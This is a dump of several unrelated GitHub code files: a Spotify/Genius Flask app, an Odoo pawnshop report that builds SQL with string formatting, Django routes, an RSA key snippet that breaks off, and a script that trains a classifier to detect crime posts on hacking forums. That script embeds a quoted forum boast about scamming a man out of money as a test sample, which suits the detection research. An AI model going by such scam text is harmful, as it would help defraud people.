+{"seq_id":"72118079235","text":"import requests\nimport os\nfrom dotenv import load_dotenv, find_dotenv\nimport random\nfrom flask import Flask, render_template\nfrom spotify import *\nfrom genius import *\n\napp = Flask(__name__)\napp.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0 #prevents cache problem when changes in .css is done\n\n@app.route('/')\n\ndef main():\n load_dotenv(find_dotenv()) #finds and loads informations from .env file\n \n client_id = os.getenv('CLIENT_ID')\n client_secret = os.getenv('CLIENT_SECRET')\n g_access_token = os.getenv('HACCESS_TOKEN')\n \n random_number_a = random.randint(0, 6) #random generated numbers for which artist and which track to load\n random_number_t = random.randint(0, 9)\n \n artist_name = [\"HIPPO CAMPUS\", \"BAD SUNS\", \"TAYLOR SWIFT\", \"BLACK PINK\", \"BTS\", \"JUICE WRLD\", \"ARIANA GRANDE\"] #hard coded list of artists\n track_name = []\n track_id = []\n preview_url = []\n track_img = []\n \n spotify = SpotifyAPI(client_id, client_secret) #initialize spotify api\n genius = GeniusAPI(g_access_token)\n spotify.get_access_token() #retrieve access token\n data = spotify.lookup_artist_tracks(artist_name[random_number_a]) #get data for artist's top tracks given the artist name at random index\n artist_img = spotify.lookup_artist_info(artist_name[random_number_a]) #get data for artist's info given the artist name at random index to retrieve artist image\n \n for i in range(0, 10): #populate track_name, track_id, preview_url, track_img using data and track_data\n track_name.append(data[\"tracks\"][i][\"name\"])\n track_id.append(data[\"tracks\"][i][\"id\"])\n track_img.append(data[\"tracks\"][i][\"album\"][\"images\"][1][\"url\"])\n track_data = spotify.lookup_tracks(track_id[i])\n preview_url.append(track_data[\"preview_url\"])\n \n lyrics_url = genius.get_song_info(track_name[random_number_t], artist_name[random_number_a])\n return render_template(\n \"index.html\",\n artist = artist_name[random_number_a],\n artist_img = artist_img[\"images\"][2][\"url\"],\n track_name = track_name[random_number_t],\n image = track_img[random_number_t],\n track_prev = preview_url[random_number_t],\n lyrics_url = lyrics_url['response']['hits'][0]['result']['url'],\n )\n \napp.run(\n port=int(os.getenv('PORT', 8080)),\n host=os.getenv('IP', '0.0.0.0'),\n debug=True\n)","repo_name":"yumeean/MusicDiscovery","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6994526080","text":"# -*- encoding: utf-8 -*-\nfrom datetime import datetime\nfrom openerp.osv import fields, osv\nfrom openerp.tools.translate import _\n\n\nclass customer_report(osv.osv_memory):\n _name = 'customer.report'\n _description = 'Customer Report'\n\n _columns = {\n 'pawn_shop': fields.char(\n string='Shop',\n ),\n 'customer': fields.char(\n string='Customer',\n ),\n 'customer_create_date': fields.datetime(\n string='Customer Create Date',\n ),\n 'subdistrict': fields.char(\n string='Subdistrict',\n ),\n 'district': fields.char(\n string='District',\n ),\n 'province': fields.char(\n string='Province',\n ),\n 'country': fields.char(\n string='Nationality',\n ),\n 'sex': fields.char(\n string='Sex',\n ),\n 'age': fields.char(\n string='Age',\n ),\n 'age_range': fields.char(\n string='Age Range',\n ),\n 'number_of_ticket': fields.integer(\n string='Number Of Ticket',\n ),\n 'amount_pawned': fields.float(\n string='Pawned Amount',\n ),\n 'customer_status': fields.char(\n string='Customer Status',\n ),\n 'customer_aging': fields.char(\n string='Customer Aging',\n ),\n 'pawn_ticket_aging_1': fields.float(\n string='Pawn Ticket Aging 0-3 M',\n ),\n 'pawn_ticket_aging_2': fields.float(\n string='Pawn Ticket Aging 3-6 M',\n ),\n 'pawn_ticket_aging_3': fields.float(\n string='Pawn Ticket Aging 6-9 M',\n ),\n 'pawn_ticket_aging_4': fields.float(\n string='Pawn Ticket Aging 9-12 M',\n ),\n 'pawn_ticket_aging_5': fields.float(\n string='Pawn Ticket Aging > 12 M',\n ),\n 'number_of_ticket_aging_1': fields.float(\n string='Number Of Ticket Aging 0-3 M',\n ),\n 'number_of_ticket_aging_2': fields.float(\n string='Number Of Ticket Aging 3-6 M',\n ),\n 'number_of_ticket_aging_3': fields.float(\n string='Number Of Ticket Aging 6-9 M',\n ),\n 'number_of_ticket_aging_4': fields.float(\n string='Number Of Ticket Aging 9-12 M',\n ),\n 'number_of_ticket_aging_5': fields.float(\n string='Number Of Ticket Aging > 12 M',\n ),\n 'wizard_id': fields.many2one(\n 'customer.report.wizard',\n string='Wizard',\n ),\n }\n\n def read_group(self, cr, uid, domain, fields, groupby, offset=0, limit=None, context=None, orderby=False):\n res = super(customer_report, self).read_group(\n cr, uid, domain, fields, groupby, offset=offset, limit=limit, context=context, orderby=orderby)\n # Rearrange group\n if groupby:\n # Sex\n if groupby[0] == 'sex':\n res_temp = []\n groups = [u'ชาย', u'หญิง', u'อื่นๆ']\n for group in groups:\n res_temp.extend(filter(lambda l: l[groupby[0]] == group, res))\n res_temp.extend(filter(lambda l: l[groupby[0]] not in groups, res))\n res = res_temp\n # Age Range\n if groupby[0] == 'age_range':\n res_temp = []\n groups = [\n u'<= 0 ปี', u'1-10 ปี', u'11-20 ปี', u'21-30 ปี', u'31-40 ปี',\n u'41-50 ปี', u'51-60 ปี', u'61-70 ปี', u'71-80 ปี', u'81-90 ปี',\n u'91-100 ปี', u'> 100 ปี', u'ไม่ได้กำหนด',\n ]\n for group in groups:\n res_temp.extend(filter(lambda l: l[groupby[0]] == group, res))\n res_temp.extend(filter(lambda l: l[groupby[0]] not in groups, res))\n res = res_temp\n # Customer Status\n if groupby[0] == 'customer_status':\n res_temp = []\n groups = [u'ลูกค้าใหม่', u'ลูกค้าเก่า', u'ไม่ได้กำหนด']\n for group in groups:\n res_temp.extend(filter(lambda l: l[groupby[0]] == group, res))\n res_temp.extend(filter(lambda l: l[groupby[0]] not in groups, res))\n res = res_temp\n # Customer Aging\n if groupby[0] == 'customer_aging':\n res_temp = []\n groups = [u'0-3 เดือน', u'3-6 เดือน', u'6-9 เดือน', u'9-12 เดือน', u'> 12 เดือน', '']\n for group in groups:\n res_temp.extend(filter(lambda l: l[groupby[0]] == group, res))\n res_temp.extend(filter(lambda l: l[groupby[0]] not in groups, res))\n res = res_temp\n return res\n\n\nclass customer_report_groupby_ticket_aging(osv.osv_memory):\n _name = 'customer.report.groupby.ticket.aging'\n _description = 'Customer Report Group By Pawn Ticket Aging'\n\n _columns = {\n 'pawn_ticket_aging': fields.char(\n string='Pawn Ticket Aging',\n ),\n 'number_of_customer': fields.integer(\n string='Number Of Customer',\n ),\n 'number_of_ticket': fields.integer(\n string='Number Of Ticket',\n ),\n 'amount_pawned': fields.float(\n string='Pawned Amount',\n ),\n 'wizard_id': fields.many2one(\n 'customer.report.wizard',\n string='Wizard',\n ),\n }\n\n\nclass customer_report_wizard(osv.osv_memory):\n _name = 'customer.report.wizard'\n _description = 'Customer Report Wizard'\n\n _columns = {\n 'pawn_ticket_status': fields.selection(\n [('all', 'All'), ('pawn', 'Pawn'), ('redeem', 'Redeem'), ('expire', 'Expire')],\n string='Pawn Ticket Status',\n required=True,\n ),\n 'extend_status': fields.selection(\n [('all', 'All'), ('extended', 'Extended'), ('unextended', 'Unextended')],\n string='Extend Status',\n required=True,\n ),\n 'report_at_date': fields.date(\n string='At Date',\n required=True,\n ),\n }\n\n _defaults = {\n 'pawn_ticket_status': 'all',\n 'extend_status': 'all',\n 'report_at_date': fields.date.context_today,\n }\n\n def _get_column_insert_customer_report(self):\n columns = \"\"\"\n (\n id, create_uid, create_date, write_date, write_uid, wizard_id,\n pawn_shop, customer, customer_create_date, subdistrict, district, province, country, sex, age, age_range,\n number_of_ticket, amount_pawned, customer_status, customer_aging,\n pawn_ticket_aging_1, pawn_ticket_aging_2, pawn_ticket_aging_3,\n pawn_ticket_aging_4, pawn_ticket_aging_5, number_of_ticket_aging_1,\n number_of_ticket_aging_2, number_of_ticket_aging_3, number_of_ticket_aging_4,\n number_of_ticket_aging_5\n )\n \"\"\"\n return columns\n\n def _get_sql_customer_report(self, uid, wizard):\n # Get value from wizard\n report_at_date = wizard.report_at_date\n pawn_ticket_status = wizard.pawn_ticket_status\n extend_status = wizard.extend_status\n # SQL query for pawn ticket aging\n pawn_ticket_aging = \"\"\"\n (DATE_PART('YEAR', AGE(TO_DATE('{report_at_date}', 'YYYY-MM-DD') + INTERVAL '1' DAY, po_sub.date_order)) * 12) +\n DATE_PART('MONTH', AGE(TO_DATE('{report_at_date}', 'YYYY-MM-DD') + INTERVAL '1' DAY, po_sub.date_order)) +\n (DATE_PART('DAY', AGE(TO_DATE('{report_at_date}', 'YYYY-MM-DD') + INTERVAL '1' DAY, po_sub.date_order)) / 100)\n \"\"\".format(report_at_date=report_at_date)\n # SQL query for age\n age = \"DATE_PART('YEAR', AGE('{report_at_date}', rp.birth_date))\".format(report_at_date=report_at_date)\n # Extra where\n # Filter pawn ticket status\n extra_where = ''\n if pawn_ticket_status == 'pawn':\n extra_where += \"\"\" AND (\n (po_sub.date_redeem IS NULL AND po_sub.date_final_expired IS NULL) OR\n (po_sub.date_redeem IS NOT NULL AND '{report_at_date}' < po_sub.date_redeem) OR\n (po_sub.date_final_expired IS NOT NULL AND '{report_at_date}' < po_sub.date_final_expired)\n )\"\"\".format(report_at_date=report_at_date)\n elif pawn_ticket_status == 'redeem':\n extra_where += \" AND (po_sub.date_redeem IS NOT NULL AND '{report_at_date}' >= po_sub.date_redeem)\".format(report_at_date=report_at_date)\n elif pawn_ticket_status == 'expire':\n extra_where += \" AND (po_sub.date_final_expired IS NOT NULL AND '{report_at_date}' >= po_sub.date_final_expired)\".format(report_at_date=report_at_date)\n # Filter extend status\n if extend_status == 'extended':\n extra_where += \"\"\" AND (\n (po_sub.date_extend_last IS NOT NULL AND po_sub.date_unextend_last IS NULL AND '{report_at_date}' >= po_sub.date_extend_last) OR\n (po_sub.date_extend_last IS NOT NULL AND po_sub.date_unextend_last IS NOT NULL AND '{report_at_date}' >= po_sub.date_extend_last AND '{report_at_date}' < po_sub.date_unextend_last)\n )\n \"\"\".format(report_at_date=report_at_date)\n elif extend_status == 'unextended':\n extra_where += \"\"\" AND (\n (po_sub.date_extend_last IS NULL AND po_sub.date_unextend_last IS NULL) OR\n (po_sub.date_extend_last IS NOT NULL AND po_sub.date_unextend_last IS NULL AND '{report_at_date}' < po_sub.date_extend_last) OR\n (po_sub.date_extend_last IS NOT NULL AND po_sub.date_unextend_last IS NOT NULL AND ('{report_at_date}' < po_sub.date_extend_last OR '{report_at_date}' >= po_sub.date_unextend_last))\n )\"\"\".format(report_at_date=report_at_date)\n # Get SQL\n sql = \"\"\"\n (\n SELECT\n NEXTVAL('customer_report_id_seq') AS id, {uid} AS create_uid, NOW() AS create_date,\n NOW() AS write_date, {uid} AS write_uid, {wizard_id} AS wizard_id, po.pawn_shop,\n CASE\n WHEN rp.partner_title = 'mr' THEN 'นาย '\n WHEN rp.partner_title = 'mrs' THEN 'นาง '\n WHEN rp.partner_title = 'miss' THEN 'นางสาว '\n WHEN rp.partner_title = 'company' THEN 'บริษัท '\n WHEN rp.partner_title = 'partnership' THEN 'ห้างหุ้นส่วน '\n ELSE ''\n END || rp.name AS customer, rp.create_date AS customer_create_date, NULL AS subdistrict, NULL AS district, NULL AS province, rc.name AS country,\n CASE\n WHEN rp.partner_title IN ('mr') THEN 'ชาย'\n WHEN rp.partner_title IN ('mrs', 'miss') THEN 'หญิง'\n ELSE 'อื่นๆ'\n END AS sex, {age} AS age,\n CASE\n WHEN {age} <= 0 THEN '<= 0 ปี'\n WHEN {age} > 0 AND {age} <= 10 THEN '1-10 ปี'\n WHEN {age} > 10 AND {age} <= 20 THEN '11-20 ปี'\n WHEN {age} > 20 AND {age} <= 30 THEN '21-30 ปี'\n WHEN {age} > 30 AND {age} <= 40 THEN '31-40 ปี'\n WHEN {age} > 40 AND {age} <= 50 THEN '41-50 ปี'\n WHEN {age} > 50 AND {age} <= 60 THEN '51-60 ปี'\n WHEN {age} > 60 AND {age} <= 70 THEN '61-70 ปี'\n WHEN {age} > 70 AND {age} <= 80 THEN '71-80 ปี'\n WHEN {age} > 80 AND {age} <= 90 THEN '81-90 ปี'\n WHEN {age} > 90 AND {age} <= 100 THEN '91-100 ปี'\n WHEN {age} > 100 THEN '> 100 ปี'\n ELSE 'ไม่ได้กำหนด'\n END AS age_range,\n po.number_of_ticket, po.amount_pawned,\n CASE\n WHEN DATE(rp.create_date + INTERVAL '7 HOUR') = '{report_at_date}' THEN 'ลูกค้าใหม่'\n WHEN DATE(rp.create_date + INTERVAL '7 HOUR') < '{report_at_date}' THEN 'ลูกค้าเก่า'\n ELSE 'ไม่ได้กำหนด'\n END AS customer_status,\n CASE\n WHEN po.customer_aging > 0 AND po.customer_aging <= 3 THEN '0-3 เดือน'\n WHEN po.customer_aging <= 6 THEN '3-6 เดือน'\n WHEN po.customer_aging <= 9 THEN '6-9 เดือน'\n WHEN po.customer_aging <= 12 THEN '9-12 เดือน'\n WHEN po.customer_aging > 12 THEN '> 12 เดือน'\n ELSE ''\n END AS customer_aging, po.pawn_ticket_aging_1, po.pawn_ticket_aging_2, po.pawn_ticket_aging_3,\n po.pawn_ticket_aging_4, po.pawn_ticket_aging_5, po.number_of_ticket_aging_1, po.number_of_ticket_aging_2,\n po.number_of_ticket_aging_3, po.number_of_ticket_aging_4, po.number_of_ticket_aging_5\n FROM res_partner rp\n LEFT JOIN res_country rc ON rp.country_id = rc.id\n LEFT JOIN (\n SELECT\n po_sub.partner_id, COUNT(po_sub.*) AS number_of_ticket, SUM(po_sub.amount_pawned) AS amount_pawned, MAX(ps_sub.name) AS pawn_shop,\n (DATE_PART('YEAR', AGE(TO_DATE('{report_at_date}', 'YYYY-MM-DD') + INTERVAL '1' DAY, MIN(po_sub.date_order))) * 12) +\n DATE_PART('MONTH', AGE(TO_DATE('{report_at_date}', 'YYYY-MM-DD') + INTERVAL '1' DAY, MIN(po_sub.date_order))) +\n (DATE_PART('DAY', AGE(TO_DATE('{report_at_date}', 'YYYY-MM-DD') + INTERVAL '1' DAY, MIN(po_sub.date_order))) / 100) AS customer_aging,\n SUM(CASE WHEN {pawn_ticket_aging} > 0 AND {pawn_ticket_aging} <= 3 THEN amount_pawned ELSE 0 END) AS pawn_ticket_aging_1,\n SUM(CASE WHEN {pawn_ticket_aging} > 3 AND {pawn_ticket_aging} <= 6 THEN amount_pawned ELSE 0 END) AS pawn_ticket_aging_2,\n SUM(CASE WHEN {pawn_ticket_aging} > 6 AND {pawn_ticket_aging} <= 9 THEN amount_pawned ELSE 0 END) AS pawn_ticket_aging_3,\n SUM(CASE WHEN {pawn_ticket_aging} > 9 AND {pawn_ticket_aging} <= 12 THEN amount_pawned ELSE 0 END) AS pawn_ticket_aging_4,\n SUM(CASE WHEN {pawn_ticket_aging} > 12 THEN amount_pawned ELSE 0 END) AS pawn_ticket_aging_5,\n SUM(CASE WHEN {pawn_ticket_aging} > 0 AND {pawn_ticket_aging} <= 3 THEN 1 ELSE 0 END) AS number_of_ticket_aging_1,\n SUM(CASE WHEN {pawn_ticket_aging} > 3 AND {pawn_ticket_aging} <= 6 THEN 1 ELSE 0 END) AS number_of_ticket_aging_2,\n SUM(CASE WHEN {pawn_ticket_aging} > 6 AND {pawn_ticket_aging} <= 9 THEN 1 ELSE 0 END) AS number_of_ticket_aging_3,\n SUM(CASE WHEN {pawn_ticket_aging} > 9 AND {pawn_ticket_aging} <= 12 THEN 1 ELSE 0 END) AS number_of_ticket_aging_4,\n SUM(CASE WHEN {pawn_ticket_aging} > 12 THEN 1 ELSE 0 END) AS number_of_ticket_aging_5\n FROM pawn_order po_sub\n LEFT JOIN pawn_shop ps_sub ON po_sub.pawn_shop_id = ps_sub.id\n WHERE po_sub.state not in ('draft', 'cancel') AND po_sub.date_order <= '{report_at_date}' {extra_where}\n GROUP BY po_sub.partner_id\n ) po ON rp.id = po.partner_id\n WHERE rp.supplier = True AND rp.pawnshop = True AND po.number_of_ticket IS NOT NULL\n )\n \"\"\".format(\n uid=uid,\n wizard_id=wizard.id,\n age=age,\n report_at_date=report_at_date,\n pawn_ticket_aging=pawn_ticket_aging,\n extra_where=extra_where,\n )\n return sql\n\n def _execute_customer_report(self, cr, uid, wizard):\n cr.execute(\"\"\"INSERT INTO customer_report {} {}\"\"\".format(\n self._get_column_insert_customer_report(),\n self._get_sql_customer_report(uid, wizard)\n ))\n return True\n\n def _get_customer_report(self, cr, uid, wizard, context=None):\n # Execute the report\n self._execute_customer_report(cr, uid, wizard)\n # View the report\n mod_obj = self.pool.get('ir.model.data')\n act_obj = self.pool.get('ir.actions.act_window')\n result = mod_obj._get_id(cr, uid, 'pawnshop', 'action_customer_report')\n id = mod_obj.read(cr, uid, [result], ['res_id'], context=context)[0]['res_id']\n result = act_obj.read(cr, uid, [id], context=context)[0]\n result.update({\n 'name': '{} ({} = {} | {} = {} | {} = {})'.format(\n _(result['name']).encode('utf-8'),\n _('Pawn Ticket Status').encode('utf-8'),\n _({'all': 'ทั้งหมด', 'pawn': 'จำนำ', 'redeem': 'ไถ่ถอน', 'expire': 'หมดอายุ'}[wizard.pawn_ticket_status]).encode('utf-8'),\n _('Extend Status').encode('utf-8'),\n _({'all': 'ทั้งหมด', 'extended': 'เล้า', 'unextended': 'ไม่เล้า'}[wizard.extend_status]).encode('utf-8'),\n _('At Date').encode('utf-8'),\n _(datetime.strptime(wizard.report_at_date, '%Y-%m-%d').strftime('%d/%m/%Y')).encode('utf-8'),\n ),\n 'domain': [('wizard_id', '=', wizard.id)],\n })\n return result\n\n def _get_column_insert_customer_report_groupby_ticket_aging(self):\n columns = \"\"\"\n (\n id, create_uid, create_date, write_date, write_uid, wizard_id,\n pawn_ticket_aging, number_of_customer, number_of_ticket, amount_pawned\n )\n \"\"\"\n return columns\n\n def _get_sql_customer_report_groupby_ticket_aging(self, uid, wizard):\n _from = self._get_sql_customer_report(uid, wizard)\n sql = \"\"\"\n (\n (\n SELECT\n NEXTVAL('customer_report_groupby_ticket_aging_id_seq') AS id,\n {uid} AS create_uid, NOW() AS create_date, NOW() AS write_date, {uid} AS write_uid,\n {wizard_id} AS wizard_id, '0-3 เดือน' AS pawn_ticket_aging, COUNT(*) AS number_of_customer,\n SUM(number_of_ticket_aging_1) AS number_of_ticket, SUM(pawn_ticket_aging_1) AS amount_pawned\n FROM {_from} AS customer_report\n WHERE pawn_ticket_aging_1 > 0\n )\n UNION\n (\n SELECT\n NEXTVAL('customer_report_groupby_ticket_aging_id_seq') AS id,\n {uid} AS create_uid, NOW() AS create_date, NOW() AS write_date, {uid} AS write_uid,\n {wizard_id} AS wizard_id, '3-6 เดือน' AS pawn_ticket_aging, COUNT(*) AS number_of_customer,\n SUM(number_of_ticket_aging_2) AS number_of_ticket, SUM(pawn_ticket_aging_2) AS amount_pawned\n FROM {_from} AS customer_report\n WHERE pawn_ticket_aging_2 > 0\n )\n UNION\n (\n SELECT\n NEXTVAL('customer_report_groupby_ticket_aging_id_seq') AS id,\n {uid} AS create_uid, NOW() AS create_date, NOW() AS write_date, {uid} AS write_uid,\n {wizard_id} AS wizard_id, '6-9 เดือน' AS pawn_ticket_aging, COUNT(*) AS number_of_customer,\n SUM(number_of_ticket_aging_3) AS number_of_ticket, SUM(pawn_ticket_aging_3) AS amount_pawned\n FROM {_from} AS customer_report\n WHERE pawn_ticket_aging_3 > 0\n )\n UNION\n (\n SELECT\n NEXTVAL('customer_report_groupby_ticket_aging_id_seq') AS id,\n {uid} AS create_uid, NOW() AS create_date, NOW() AS write_date, {uid} AS write_uid,\n {wizard_id} AS wizard_id, '9-12 เดือน' AS pawn_ticket_aging, COUNT(*) AS number_of_customer,\n SUM(number_of_ticket_aging_4) AS number_of_ticket, SUM(pawn_ticket_aging_4) AS amount_pawned\n FROM {_from} AS customer_report\n WHERE pawn_ticket_aging_4 > 0\n )\n UNION\n (\n SELECT\n NEXTVAL('customer_report_groupby_ticket_aging_id_seq') AS id,\n {uid} AS create_uid, NOW() AS create_date, NOW() AS write_date, {uid} AS write_uid,\n {wizard_id} AS wizard_id, '> 12 เดือน' AS pawn_ticket_aging, COUNT(*) AS number_of_customer,\n SUM(number_of_ticket_aging_5) AS number_of_ticket, SUM(pawn_ticket_aging_5) AS amount_pawned\n FROM {_from} AS customer_report\n WHERE pawn_ticket_aging_5 > 0\n )\n )\n \"\"\".format(\n uid=uid,\n wizard_id=wizard.id,\n _from=_from,\n )\n return sql\n\n def _execute_customer_report_groupby_ticket_aging(self, cr, uid, wizard):\n cr.execute(\"\"\"INSERT INTO customer_report_groupby_ticket_aging {} {}\"\"\".format(\n self._get_column_insert_customer_report_groupby_ticket_aging(),\n self._get_sql_customer_report_groupby_ticket_aging(uid, wizard)\n ))\n return True\n\n def _get_customer_report_groupby_ticket_aging(self, cr, uid, wizard, context=None):\n # Execute the report\n self._execute_customer_report_groupby_ticket_aging(cr, uid, wizard)\n # View the report\n mod_obj = self.pool.get('ir.model.data')\n act_obj = self.pool.get('ir.actions.act_window')\n result = mod_obj._get_id(cr, uid, 'pawnshop', 'action_customer_report_groupby_ticket_aging')\n id = mod_obj.read(cr, uid, [result], ['res_id'], context=context)[0]['res_id']\n result = act_obj.read(cr, uid, [id], context=context)[0]\n result.update({\n 'name': '{} ({} = {} | {} = {} | {} = {})'.format(\n _(result['name']).encode('utf-8'),\n _('Pawn Ticket Status').encode('utf-8'),\n _({'all': 'ทั้งหมด', 'pawn': 'จำนำ', 'redeem': 'ไถ่ถอน', 'expire': 'หมดอายุ'}[wizard.pawn_ticket_status]).encode('utf-8'),\n _('Extend Status').encode('utf-8'),\n _({'all': 'ทั้งหมด', 'extended': 'เล้า', 'unextended': 'ไม่เล้า'}[wizard.extend_status]).encode('utf-8'),\n _('At Date').encode('utf-8'),\n _(datetime.strptime(wizard.report_at_date, '%Y-%m-%d').strftime('%d/%m/%Y')).encode('utf-8'),\n ),\n 'domain': [('wizard_id', '=', wizard.id)],\n })\n return result\n\n def start_report(self, cr, uid, ids, data, context=None):\n groupby_pawn_ticket_aging = data.get('groupby_pawn_ticket_aging', False)\n wizard = self.browse(cr, uid, ids[0], context=context)\n if not groupby_pawn_ticket_aging:\n result = self._get_customer_report(cr, uid, wizard, context=context)\n else:\n result = self._get_customer_report_groupby_ticket_aging(cr, uid, wizard, context=context)\n return result\n","repo_name":"ecosoft-odoo/pawn","sub_path":"pawnshop/report/customer_report.py","file_name":"customer_report.py","file_ext":"py","file_size_in_byte":23970,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"17635695386","text":"class configs:\n embedding_size = 128\n pad = ''\n batch_size = 32\n num_units = 128\n num_oov_buckets = 1\n max_gradient_norm = 5\n learning_rate = 0.001\n n_epochs = 5\n n_outputs = 3\n train_keep_prob = 0.5\n threshold = 5\n l2_rate = 0.0001\n max_sentence = 64\n max_epochs_without_progress = 50\n num_parallel_calls = 2\n\n\n","repo_name":"luhengshiwo/zero2Deploy","sub_path":"parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"12401401993","text":"from django.contrib import admin\nfrom django.urls import path, include\nfrom .views import *\n\n\"\"\" Urls for All user including customer and hospital-profile's\"\"\"\nurlpatterns = [\n\n path('o/', include('oauth2_provider.urls', namespace='oauth2_provider')),\n\n path('all-user/', UserGenerics.as_view()),\n path('all-user//', UserupdateGenerics.as_view()),\n\n path('accounts/customer-profile/', CustomerGenerics.as_view()),\n path('accounts/customer-profile//', CustomerupdateGenerics.as_view()),\n\n path('accounts/hospital-details/', HospitalGenerics.as_view()),\n path('accounts/hospital-details//', HospitalupdateGenerics.as_view()),\n\n]\n","repo_name":"abuzersuraasa/blood_donaton_by_django","sub_path":"all_user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16248185261","text":"from nltk.corpus import stopwords\nfrom utils.db import db\nfrom utils.post_cleaning import process_text_s as process_text\nimport numpy as np\nimport pickle\nfrom gensim.models import Word2Vec\nfrom sampling import Sampling\n\nfrom tensorflow.keras import regularizers, initializers, optimizers, callbacks\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nfrom keras.utils.np_utils import to_categorical\nfrom tensorflow.keras.layers import *\nfrom tensorflow.keras.models import Model\n\nMAX_NB_WORDS = 100000\nMAX_SEQUENCE_LENGTH = 200\nVALIDATION_SPLIT = 0.1\nEMBEDDING_DIM = 100\nconn = db()\n\n\ndef noncrime_dataset(n, save, load=False):\n def load_dataset():\n with open('nc.data', 'rb') as f:\n X = pickle.load(f)\n np.random.shuffle(X)\n return X\n if load:\n return load_dataset()\n posts = []\n for post in conn.get_noncrime_posts(n):\n if len(process_text(post[0])) > 10:\n posts.append(process_text(post[0]))\n print(posts)\n X = np.stack(posts)\n if save:\n with open('nc.data', 'wb') as f:\n pickle.dump(X, f)\n np.random.shuffle(X)\n return X\n\n\ndef crime_dataset():\n def load_crime_data(folder):\n tests = []\n for i in range(0, 500):\n with open('data/' + folder + '_data/' + str(i) + '.data', 'r') as f:\n tests.append(process_text(f.read()))\n return tests\n\n posts = []\n for f in ['rat', 'ewhore', 'stresser', 'crypter']:\n posts.extend(load_crime_data(f))\n return np.stack(posts)\n\n\nnc = noncrime_dataset(3000, True, True)\nc = crime_dataset()\nX = np.concatenate((nc, c), axis=0)\n# one hot vector in the form [non-crime, crime]\nlabels = np.concatenate(\n (np.array([[1, 0]] * nc.shape[0]), np.array([[0, 1]] * c.shape[0])), axis=0)\n\ntokenizer = Tokenizer(num_words=MAX_NB_WORDS)\ntokenizer.fit_on_texts(X)\nsequences = tokenizer.texts_to_sequences(X)\nword_index = tokenizer.word_index\n\ndata = pad_sequences(sequences, padding='post', maxlen=MAX_SEQUENCE_LENGTH)\nprint('Shape of data tensor:', data.shape)\nprint('Shape of label tensor:', labels.shape)\n\nindices = np.arange(data.shape[0])\nnp.random.shuffle(indices)\ndata = data[indices]\nlabels = labels[indices]\n\nnum_validation_samples = int(VALIDATION_SPLIT*data.shape[0])\nsample = Sampling(2., .5)\nx_train, y_train = sample.perform_sampling(\n data[: -num_validation_samples], labels[: -num_validation_samples], [0, 1])\nx_val = data[-num_validation_samples:]\ny_val = labels[-num_validation_samples:]\nprint('Number of entries in each category:')\nprint('training: ', y_train.sum(axis=0))\nprint('validation: ', y_val.sum(axis=0))\n\n\nmodel = Word2Vec.load('1ft.modelFile')\n\nembeddings_index = {}\nembedding_matrix = np.random.random((len(word_index) + 1, EMBEDDING_DIM))\nfor word, i in word_index.items():\n embedding_vector = model.wv[word]\n if embedding_vector is not None:\n embedding_matrix[i] = embedding_vector\nprint(\" Completed!\")\n\nsequence_input = Input(shape=(MAX_SEQUENCE_LENGTH,), dtype='int32')\nembedding_layer = Embedding(len(word_index) + 1,\n EMBEDDING_DIM,\n weights=[embedding_matrix],\n input_length=MAX_SEQUENCE_LENGTH,\n trainable=False,\n name='embeddings')\nembedded_sequences = embedding_layer(sequence_input)\nx = LSTM(60, return_sequences=True, name='lstm_layer',\n dropout=0.5, recurrent_dropout=0.5)(embedded_sequences)\nx = GlobalMaxPool1D()(x)\nx = Dense(50, activation=\"relu\")(x)\nx = Dropout(0.5)(x)\npreds = Dense(2, activation=\"softmax\")(x)\n# preds = Dense(2, activation='softmax')(preds)\n\nmodel = Model(sequence_input, preds)\nmodel.compile(loss='binary_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n\nprint('Training progress:')\nhistory = model.fit(x_train, y_train, epochs=2,\n batch_size=64, validation_data=(x_val, y_val))\n\nsuper_test = []\nfor thread in [5881918, 1262128, 2804572, 1065115]:\n posts = conn.get_posts_from_thread(thread)\n for p in posts:\n print(process_text(p[1]))\n super_test.append(process_text(p[1]))\nsuper_test.append(process_text(\n \"The most I've gotten out of one guy is around $450. I kept milking him (started as $30) but then he started asking to vid call me and wouldn't stop. Few days later I acted like my parents caught me and took my phone, I even acted like I'm the e-whore's father and texted the guy LMAO. He said he was just a friend from high school ***IMG***[https://hackforums.net/images/smilies/hehe.gif]***IMG*** I've already got him to buy the flight tickets in my whores name. next he's buying our accommodation in Fiji. I'm surprised he's not even indian, legit just a white American Male.\"))\nsuper_test = np.stack(super_test)\na = np.array([\n process_text(\n \"This isnt about crime, in fact I am just writing about rainbows and ponies, I love ponies so much and rainbows are so pretty I just want to see them everyday\"),\n process_text(\"I'm the best in the world, I make so much money ripping people off, buy my, they will make you a lot of money, very very quickly\")])\nprint(a)\nsequences = tokenizer.texts_to_sequences(super_test)\nsequences = pad_sequences(sequences, padding='post',\n maxlen=MAX_SEQUENCE_LENGTH)\nprint(sequences)\nprint(sequences[0].shape)\nprint(model.predict(sequences))\n","repo_name":"drsphelps/PartIIProject","sub_path":"old_files/rnn_old.py","file_name":"rnn_old.py","file_ext":"py","file_size_in_byte":5486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21154554396","text":"from cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import padding\nimport base64\n\n# Generăm o pereche de chei RSA\nprivate_key = rsa.generate_private_key(\n public_exponent=65537,\n key_size=2048,\n backend=default_backend()\n)\n\n# Serializăm cheia privată pentru a o putea stoca sau partaja\nprivate_pem = private_key.private_bytes(\n encoding=serialization.Encoding.PEM,\n format=serialization.PrivateFormat.PKCS8,\n encryption_algorithm=serialization.NoEncryption()\n)\n\n# Obținem și cheia publică asociată 